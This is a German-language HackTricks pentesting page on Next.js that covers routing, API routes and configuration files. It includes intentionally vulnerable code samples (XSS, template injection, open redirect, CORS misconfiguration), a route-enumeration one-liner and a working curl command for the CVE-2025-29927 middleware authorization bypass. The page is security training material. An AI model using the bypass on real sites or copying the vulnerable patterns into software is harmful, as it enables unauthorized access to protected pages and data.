NextJS
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Allgemeine Architektur einer Next.js-Anwendung
Typische Dateistruktur
Ein standardmäßiges Next.js-Projekt folgt einer bestimmten Datei- und Verzeichnisstruktur, die Funktionen wie Routing, API-Endpunkte und die Verwaltung statischer Assets erleichtert. Hier ist ein typisches Layout:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Wichtige Verzeichnisse und Dateien
- public/: Hält statische Assets wie Bilder, Fonts und andere Dateien bereit. Dateien hier sind unter dem Root-Pfad (
/) zugänglich. - app/: Zentrales Verzeichnis für die Seiten, Layouts, Komponenten und API-Routen deiner Anwendung. Nutzt das App Router-Paradigma und ermöglicht erweiterte Routing-Funktionen sowie die Trennung von Server- und Client-Komponenten.
- app/layout.tsx: Definiert das Root-Layout deiner Anwendung und umschließt alle Seiten, sodass konsistente UI-Elemente wie Header, Footer und Navigationsleisten bereitgestellt werden.
- app/page.tsx: Dient als Einstiegspunkt für die Root-Route
/und rendert die Startseite. - app/[route]/page.tsx: Behandelt statische und dynamische Routen. Jeder Ordner innerhalb von
app/repräsentiert ein Route-Segment, und die jeweiligepage.tsxin diesen Ordnern entspricht der Komponente für diese Route. - app/api/: Enthält API-Routen, mit denen du serverlose Funktionen erstellen kannst, die HTTP-Requests verarbeiten. Diese Routen ersetzen das traditionelle
pages/api-Verzeichnis. - app/components/: Beinhaltet wiederverwendbare React-Komponenten, die in verschiedenen Seiten und Layouts genutzt werden können.
- app/styles/: Enthält globale CSS-Dateien und CSS Modules für komponentenspezifisches Styling.
- app/utils/: Enthält Utility-Funktionen, Hilfsmodule und andere nicht-UI-Logik, die in der gesamten Anwendung geteilt werden können.
- .env.local: Speichert Umgebungsvariablen, die speziell für die lokale Entwicklungsumgebung gelten. Diese Variablen werden nicht in die Versionskontrolle aufgenommen.
- next.config.js: Passt das Verhalten von Next.js an, einschließlich webpack-Konfigurationen, Umgebungsvariablen und Sicherheitseinstellungen.
- tsconfig.json: Konfiguriert TypeScript-Einstellungen für das Projekt und ermöglicht Typprüfung sowie andere TypeScript-Funktionen.
- package.json: Verwaltert Projektabhängigkeiten, Skripte und Metadaten.
- README.md: Bietet Dokumentation und Informationen zum Projekt, einschließlich Installationsanweisungen, Nutzungsrichtlinien und anderer relevanter Details.
- yarn.lock / package-lock.json: Sperrt die Projektabhängigkeiten auf spezifische Versionen und sorgt so für konsistente Installationen in unterschiedlichen Umgebungen.
Client-Seite in Next.js
Dateibasierte Routenbildung im app-Verzeichnis
Das app-Verzeichnis ist der Eckpfeiler des Routings in den aktuellen Next.js-Versionen. Es nutzt das Dateisystem zur Definition von Routen, wodurch die Verwaltung von Routen intuitiv und skalierbar wird.
Umgang mit dem Root-Pfad /
Dateistruktur:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Wichtige Dateien:
app/page.tsx: Verarbeitet Anfragen an den Root-Pfad/.app/layout.tsx: Definiert das Layout für die Anwendung und umschließt alle Seiten.
Implementierung:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Erklärung:
- Route Definition: Die Datei
page.tsxdirekt im Verzeichnisappentspricht der Route/. - Rendering: Diese Komponente rendert den Inhalt der Startseite.
- Layout Integration: Die
HomePage-Komponente wird vonlayout.tsxumschlossen, das Kopfzeilen, Fußzeilen und andere gemeinsame Elemente enthalten kann.
Umgang mit anderen statischen Pfaden
Beispiel: /about-Route
Dateistruktur:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Erläuterung:
- Routen-Definition: Die Datei
page.tsxim Ordneraboutentspricht der Route/about. - Rendering: Diese Komponente rendert den Inhalt der About-Seite.
Dynamische Routen
Dynamische Routen ermöglichen das Verarbeiten von Pfaden mit variablen Segmenten und erlauben Anwendungen, Inhalte basierend auf Parametern wie IDs, Slugs usw. anzuzeigen.
Beispiel: /posts/[id] Route
Dateistruktur:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Erklärung:
- Dynamisches Segment:
[id]kennzeichnet ein dynamisches Segment in der Route und erfasst denid-Parameter aus der URL. - Zugriff auf Parameter: Das
params-Objekt enthält die dynamischen Parameter und ist innerhalb der Komponente zugänglich. - Routenabgleich: Jeder Pfad, der
/posts/*entspricht, wie z. B./posts/1,/posts/abcusw., wird von dieser Komponente verarbeitet.
Verschachtelte Routen
Next.js unterstützt verschachtelte Routen und ermöglicht hierarchische Routestrukturen, die das Verzeichnislayout widerspiegeln.
Beispiel: Route /dashboard/settings/profile
Dateistruktur:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Erklärung:
- Tiefes Verschachteln: Die Datei
page.tsxindashboard/settings/profile/entspricht der Route/dashboard/settings/profile. - Abbildung der Hierarchie: Die Verzeichnisstruktur spiegelt den URL-Pfad wider und verbessert dadurch Wartbarkeit und Übersichtlichkeit.
Catch-All-Routen
Catch-All-Routen behandeln mehrere verschachtelte Segmente oder unbekannte Pfade und bieten Flexibilität bei der Routenbehandlung.
Beispiel: /* Route
Dateistruktur:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Erklärung:
- Catch-All-Segment:
[...slug]erfasst alle verbleibenden Pfadsegmente als Array. - Verwendung: Nützlich zur Handhabung von dynamischen Routing-Szenarien wie von Benutzern erstellten Pfaden, verschachtelten Kategorien usw.
- Routenabgleich: Pfade wie
/anything/here,/foo/bar/bazusw. werden von dieser Komponente verarbeitet.
Potenzielle clientseitige Schwachstellen
Obwohl Next.js eine sichere Grundlage bietet, können unsachgemäße Programmierpraktiken Schwachstellen einführen. Zu den wichtigsten clientseitigen Schwachstellen gehören:
Cross-Site Scripting (XSS)
XSS-Angriffe treten auf, wenn bösartige Skripte in vertrauenswürdige Websites eingeschleust werden. Angreifer können Skripte im Browser der Nutzer ausführen, Daten stehlen oder Aktionen im Namen des Nutzers durchführen.
Beispiel für verwundbaren Code:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Warum es verwundbar ist: Die Verwendung von dangerouslySetInnerHTML mit nicht vertrauenswürdigen Eingaben erlaubt es Angreifern, bösartige Skripte einzuschleusen.
Client-Side Template Injection
Wenn Benutzereingaben in Templates nicht korrekt behandelt werden, können Angreifer Templates oder Ausdrücke injizieren und ausführen.
Beispiel für verwundbaren Code:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Warum es anfällig ist: Wenn template oder data bösartigen Inhalt enthält, kann dies zur Ausführung von unbeabsichtigtem Code führen.
Client Path Traversal
Es handelt sich um eine Schwachstelle, die es Angreifern ermöglicht, clientseitige Pfade zu manipulieren, um unbeabsichtigte Aktionen auszuführen, wie zum Beispiel Cross-Site Request Forgery (CSRF). Im Gegensatz zu server-side path traversal, das auf das Dateisystem des Servers abzielt, konzentriert sich CSPT darauf, clientseitige Mechanismen auszunutzen, um legitime API-Anfragen an bösartige Endpunkte umzuleiten.
Beispiel für verwundbaren Code:
Eine Next.js-Anwendung erlaubt es Benutzern, Dateien hoch- und herunterzuladen. Die Download-Funktion ist clientseitig implementiert, wobei Benutzer den Dateipfad angeben können, der heruntergeladen werden soll.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Angriffsszenario
- Ziel des Angreifers: Führe einen CSRF-Angriff aus, um eine kritische Datei (z. B.
admin/config.json) durch Manipulation desfilePathzu löschen. - Ausnutzung von CSPT:
- Bösartige Eingabe: Der Angreifer erstellt eine URL mit einem manipulierten
filePath, z. B.../deleteFile/config.json. - Resultierende API-Anfrage: Der clientseitige Code sendet eine Anfrage an
/api/files/../deleteFile/config.json. - Serverseitige Verarbeitung: Wenn der Server den
filePathnicht validiert, verarbeitet er die Anfrage und löscht möglicherweise oder legt sensible Dateien offen.
- Durchführung eines CSRF-Angriffs:
- Gefälschter Link: Der Angreifer sendet dem Opfer einen Link oder bettet ein bösartiges Skript ein, das die Download-Anfrage mit dem manipulierten
filePathauslöst. - Ergebnis: Das Opfer führt die Aktion unwissentlich aus, was zu unbefugtem Zugriff auf Dateien oder deren Löschung führt.
Recon: Erkennung statischer Export-Routen via _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.
- Hole die buildId aus der root response (häufig am Ende angezeigt) oder aus
<script>-Tags, die/_next/static/<buildId>/...laden. - Hole das Manifest und extrahiere die Routen:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- Verwende die entdeckten Pfade (z. B.
/docs,/docs/content/examples,/signin), um auth testing und endpoint discovery voranzutreiben.
Serverseitig in Next.js
Serverseitiges Rendering (SSR)
Seiten werden bei jeder Anfrage auf dem Server gerendert, wodurch der Nutzer vollständig gerendertes HTML erhält. In diesem Fall solltest du einen eigenen Custom-Server erstellen, um die Anfragen zu verarbeiten.
Anwendungsfälle:
- Dynamische Inhalte, die sich häufig ändern.
- SEO-Optimierung, da Suchmaschinen die vollständig gerenderte Seite crawlen können.
Implementierung:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Statische Seitengenerierung (SSG)
Seiten werden zur Build-Zeit vorgerendert, was zu schnelleren Ladezeiten und reduzierter Serverlast führt.
Anwendungsfälle:
- Inhalte, die sich nicht häufig ändern.
- Blogs, Dokumentation, Marketing-Seiten.
Implementierung:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Serverless-Funktionen (API Routes)
Next.js erlaubt die Erstellung von API-Endpunkten als Serverless-Funktionen. Diese Funktionen werden bei Bedarf ausgeführt, ohne dass ein dedizierter Server erforderlich ist.
Anwendungsfälle:
- Verarbeitung von Formularübermittlungen.
- Interaktion mit Datenbanken.
- Datenverarbeitung oder Integration mit Drittanbieter-APIs.
Implementierung:
Mit der Einführung des app-Verzeichnisses in Next.js 13 sind Routing und API-Handling flexibler und leistungsfähiger geworden. Dieser moderne Ansatz entspricht eng dem dateibasierten Routing-System, bringt jedoch erweiterte Möglichkeiten, einschließlich Unterstützung für Server- und Client-Komponenten.
Grundlegender Route-Handler
Dateistruktur:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementierung:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Erklärung:
- Ort: API-Routen befinden sich im Verzeichnis
app/api/. - Dateibenennung: Jeder API-Endpunkt liegt in einem eigenen Ordner, der eine
route.js- oderroute.ts-Datei enthält. - Exportierte Funktionen: Anstelle eines einzelnen default exports werden spezifische HTTP-Methodenfunktionen (z. B.
GET,POST) exportiert. - Response-Verarbeitung: Verwende den
Response-Konstruktor, um Antworten zurückzugeben, wodurch du mehr Kontrolle über Header und Statuscodes hast.
Wie man andere Pfade und Methoden behandelt:
Umgang mit spezifischen HTTP-Methoden
Next.js 13+ erlaubt es dir, Handler für spezifische HTTP-Methoden innerhalb derselben route.js- oder route.ts-Datei zu definieren, was zu klarerem und besser organisiertem Code führt.
Beispiel:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Erklärung:
- Mehrere Exporte: Jede HTTP-Methode (
GET,PUT,DELETE) hat ihre eigene exportierte Funktion. - Parameter: Das zweite Argument ermöglicht Zugriff auf Routenparameter über
params. - Erweiterte Antworten: Größere Kontrolle über Antwortobjekte, wodurch präzise Header- und Statuscode-Verwaltung möglich ist.
Catch-All und verschachtelte Routen
Next.js 13+ unterstützt erweiterte Routing-Funktionen wie Catch-All-Routen und verschachtelte API-Routen, wodurch dynamischere und skalierbarere API-Strukturen möglich werden.
Beispiel für Catch-All-Route:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Erklärung:
- Syntax:
[...]bezeichnet ein Catch-all-Segment, das alle verschachtelten Pfade erfasst. - Verwendung: Nützlich für APIs, die Routen mit variabler Tiefe oder dynamische Segmente verarbeiten müssen.
Beispiel für verschachtelte Routen:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Erklärung:
- Tiefe Verschachtelung: Ermöglicht hierarchische API-Strukturen, die Ressourcenbeziehungen widerspiegeln.
- Parameterzugriff: Einfacher Zugriff auf mehrere Routenparameter über das
params-Objekt.
Umgang mit API-Routen in Next.js 12 und früher
API-Routen im pages Verzeichnis (Next.js 12 und früher)
Bevor Next.js 13 das app-Verzeichnis und erweiterte Routing-Funktionen einführte, wurden API-Routen hauptsächlich im pages-Verzeichnis definiert. Dieser Ansatz wird in Next.js 12 und früheren Versionen weiterhin weit verbreitet verwendet und unterstützt.
Einfache API-Route
Dateistruktur:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementierung:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Erklärung:
- Ort: API-Routen liegen im Verzeichnis
pages/api/. - Export: Verwende
export default, um die Handler-Funktion zu definieren. - Funktionssignatur: Der Handler erhält die Objekte
req(HTTP-Anfrage) undres(HTTP-Antwort). - Routing: Der Dateiname (
hello.js) entspricht dem Endpoint/api/hello.
Dynamische API-Routen
Dateistruktur:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementierung:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Erklärung:
- Dynamische Segmente: Square brackets (
[id].js) bezeichnen dynamische Routen-Segmente. - Zugriff auf Parameter: Verwende
req.query.id, um auf den dynamischen Parameter zuzugreifen. - Methoden behandeln: Verwende bedingte Logik, um verschiedene HTTP-Methoden (
GET,PUT,DELETEusw.) zu behandeln.
Umgang mit verschiedenen HTTP-Methoden
Während das grundlegende Beispiel für eine API-Route alle HTTP-Methoden in einer einzigen Funktion behandelt, kannst du deinen Code so strukturieren, dass jede Methode explizit behandelt wird, um die Lesbarkeit und Wartbarkeit zu verbessern.
Beispiel:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Beste Vorgehensweisen:
- Trennung der Verantwortlichkeiten: Logik für verschiedene HTTP-Methoden klar trennen.
- Antwortkonsistenz: Stellen Sie konsistente Antwortstrukturen sicher, um die clientseitige Verarbeitung zu erleichtern.
- Fehlerbehandlung: Nicht unterstützte Methoden und unerwartete Fehler elegant behandeln.
CORS-Konfiguration
Kontrollieren Sie, welche Origins auf Ihre API-Routen zugreifen können, um Cross-Origin Resource Sharing (CORS)-Schwachstellen zu mindern.
Schlechtes Konfigurationsbeispiel:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Beachte, dass CORS auch in allen API routes in der Datei middleware.ts konfiguriert werden kann:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problem:
Access-Control-Allow-Origin: '*': Erlaubt jeder Website, auf die API zuzugreifen, wodurch potenziell bösartige Seiten ohne Einschränkungen mit deiner API interagieren können.- Breite Methodenfreigabe: Das Zulassen aller Methoden kann Angreifern ermöglichen, unerwünschte Aktionen durchzuführen.
Wie Angreifer es ausnutzen:
Angreifer können bösartige Websites erstellen, die Anfragen an deine API senden und dabei Funktionalitäten missbrauchen, z. B. das Abrufen von Daten, die Manipulation von Daten oder das Auslösen unerwünschter Aktionen im Namen authentifizierter Benutzer.
CORS - Misconfigurations & Bypass
Server-Code-Offenlegung auf der Client-Seite
Es ist leicht, Code, der auf dem Server verwendet wird, auch im clientseitig exponierten Code zu nutzen. Der beste Weg, sicherzustellen, dass eine Code-Datei niemals auf der Client-Seite exponiert wird, besteht darin, diesen Import am Anfang der Datei zu verwenden:
import "server-only"
Wichtige Dateien und ihre Rollen
middleware.ts / middleware.js
Standort: Root des Projekts oder innerhalb von src/.
Zweck: Führt Code in der server-side serverless function aus, bevor eine Anfrage verarbeitet wird, wodurch Aufgaben wie Authentifizierung, Weiterleitungen oder das Ändern von Antworten ermöglicht werden.
Ausführungsablauf:
- Eingehende Anfrage: Die Middleware fängt die Anfrage ab.
- Verarbeitung: Führt Operationen basierend auf der Anfrage aus (z. B. Authentifizierung prüfen).
- Antwortänderung: Kann die Antwort verändern oder die Kontrolle an den nächsten Handler weitergeben.
Beispielhafte Anwendungsfälle:
- Weiterleitung nicht authentifizierter Benutzer.
- Hinzufügen benutzerdefinierter Header.
- Protokollierung von Anfragen.
Beispielkonfiguration:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
Wenn Autorisierung in der Middleware durchgesetzt wird, können betroffene Next.js-Releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) durch Injizieren des Headers x-middleware-subrequest umgangen werden. Das Framework überspringt die Middleware-Rekursion und liefert die geschützte Seite zurück.
- Das Standardverhalten ist typischerweise eine 307-Weiterleitung zu einer Login-Route wie
/api/auth/signin. - Sende einen langen
x-middleware-subrequest-Wert (wiederholemiddleware, umMAX_RECURSION_DEPTHzu erreichen), um die Antwort auf 200 zu drehen:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- Da authentifizierte Seiten viele Subressourcen laden, füge den Header zu jeder Anfrage hinzu (z. B. Burp Match/Replace mit einem leeren Match-String), um zu verhindern, dass Assets weitergeleitet werden.
next.config.js
Location: Root des Projekts.
Purpose: Konfiguriert das Verhalten von Next.js, aktiviert oder deaktiviert Features, passt webpack-Konfigurationen an, setzt Umgebungsvariablen und konfiguriert mehrere Sicherheitsfunktionen.
Key Security Configurations:
Sicherheits-Header
Sicherheits-Header erhöhen die Sicherheit deiner Anwendung, indem sie Browser anweisen, wie mit Inhalten umgegangen werden soll. Sie helfen, verschiedene Angriffe wie Cross-Site Scripting (XSS), Clickjacking und MIME type sniffing zu mildern:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Beispiele:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Bildoptimierungseinstellungen
Next.js optimiert Bilder für die Performance, aber Fehlkonfigurationen können zu Sicherheitslücken führen, z. B. indem nicht vertrauenswürdige Quellen bösartigen Inhalt einschleusen.
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problem:
'*': Ermöglicht das Laden von Bildern von beliebigen externen Quellen, einschließlich nicht vertrauenswürdiger oder bösartiger Domains. Angreifer können Bilder hosten, die bösartige Payloads enthalten oder Benutzer in die Irre führen.- Ein weiteres Problem kann sein, eine Domain zu erlauben, auf der jeder ein Bild hochladen kann (z. B.
raw.githubusercontent.com)
Wie Angreifer es ausnutzen:
Durch das Einschleusen von Bildern aus bösartigen Quellen können Angreifer phishing attacks durchführen, irreführende Informationen anzeigen oder Schwachstellen in image rendering libraries exploitieren.
Environment Variables Exposure
Verwalten Sie sensible Informationen wie API keys und Datenbankzugangsdaten sicher, ohne sie dem Client preiszugeben.
a. Exposing Sensitive Variables
Bad Configuration Example:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}
Problem:
SECRET_API_KEY: Ohne das PräfixNEXT_PUBLIC_macht Next.js Variablen nicht für den Client verfügbar. Wird das Präfix jedoch versehentlich hinzugefügt (z. B.NEXT_PUBLIC_SECRET_API_KEY), wird die Variable auf der Client-Seite zugänglich.
How attackers abuse it:
Wenn sensible Variablen dem Client preisgegeben werden, können Angreifer sie durch Inspektion des clientseitigen Codes oder der Netzwerk-Anfragen abrufen und so unautorisierten Zugriff auf APIs, Datenbanken oder andere Dienste erlangen.
Weiterleitungen
Verwalten Sie URL-Weiterleitungen und -Umschreibungen innerhalb Ihrer Anwendung, um sicherzustellen, dass Benutzer angemessen weitergeleitet werden, ohne open redirect vulnerabilities einzuführen.
a. Open Redirect Vulnerability
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problem:
- Dynamisches Ziel: Ermöglicht es Benutzern, beliebige URLs anzugeben, wodurch open redirect attacks möglich werden.
- Vertrauen in Benutzereingaben: Weiterleitungen zu von Benutzern bereitgestellten URLs ohne Validierung können zu phishing, malware distribution oder credential theft führen.
Wie Angreifer es missbrauchen:
Angreifer können URLs konstruieren, die so aussehen, als kämen sie von Ihrer Domain, aber Benutzer auf bösartige Sites umleiten. Zum Beispiel:
https://yourdomain.com/redirect?url=https://malicious-site.com
Benutzer, die der ursprünglichen Domain vertrauen, könnten unwissentlich auf schädliche Websites weitergeleitet werden.
Webpack-Konfiguration
Das Anpassen von Webpack-Konfigurationen für Ihre Next.js-Anwendung kann unbeabsichtigt Sicherheitslücken einführen, wenn es nicht vorsichtig gehandhabt wird.
a. Offenlegung sensibler Module
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problem:
- Offenlegung sensibler Pfade: Aliasing sensibler Verzeichnisse und das Zulassen von clientseitigem Zugriff kann vertrauliche Informationen leaken.
- Geheimnisse bündeln: Wenn sensitive Dateien für den Client gebündelt werden, werden deren Inhalte über source maps oder durch Inspektion des clientseitigen Codes zugänglich.
Wie Angreifer es ausnutzen:
Angreifer können auf die Verzeichnisstruktur der Anwendung zugreifen oder diese rekonstruieren und dabei möglicherweise sensible Dateien oder Daten finden und ausnutzen.
pages/_app.js und pages/_document.js
pages/_app.js
Zweck: Überschreibt die standardmäßige App-Komponente und ermöglicht globalen State, Styles und Layout-Komponenten.
Anwendungsfälle:
- Einbinden globaler CSS.
- Hinzufügen von Layout-Wrappern.
- Integration von State-Management-Bibliotheken.
Beispiel:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Zweck: Überschreibt das standardmäßige Document und ermöglicht die Anpassung der HTML- und Body-Tags.
Anwendungsfälle:
- Ändern der
<html>- oder<body>-Tags. - Hinzufügen von Meta-Tags oder benutzerdefinierten Skripten.
- Einbinden von Schriften von Drittanbietern.
Beispiel:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Benutzerdefinierter Server (Optional)
